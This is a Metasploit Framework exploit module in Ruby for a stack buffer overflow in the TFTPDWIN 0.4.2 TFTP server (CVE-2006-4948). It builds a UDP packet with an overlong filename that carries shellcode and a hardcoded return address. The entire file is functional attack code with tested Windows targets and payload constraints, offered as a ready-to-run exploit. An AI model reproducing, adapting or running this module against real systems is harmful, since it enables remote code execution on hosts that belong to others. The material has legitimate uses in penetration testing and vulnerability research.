TFTPDWIN v0.4.2 Long Filename Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',  
'Description' => %q{  
This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending  
an overly long file name to the tftpd.exe server, the stack can be overwritten.  
},  
'Author' => [ 'patrick' ],  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2006-4948' ],  
[ 'OSVDB', '29032' ],  
[ 'BID', '20131' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/3132' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 284,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en  
[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe  
],  
'Privileged' => false,  
'DisclosureDate' => 'Sep 21 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(69),  
], self)  
end  
  
def exploit  
connect_udp  
  
print_status("Trying target #{target.name}...")  
sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')  
sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)  
udp_sock.put(sploit)  
  
disconnect_udp  
end  
  
end  
`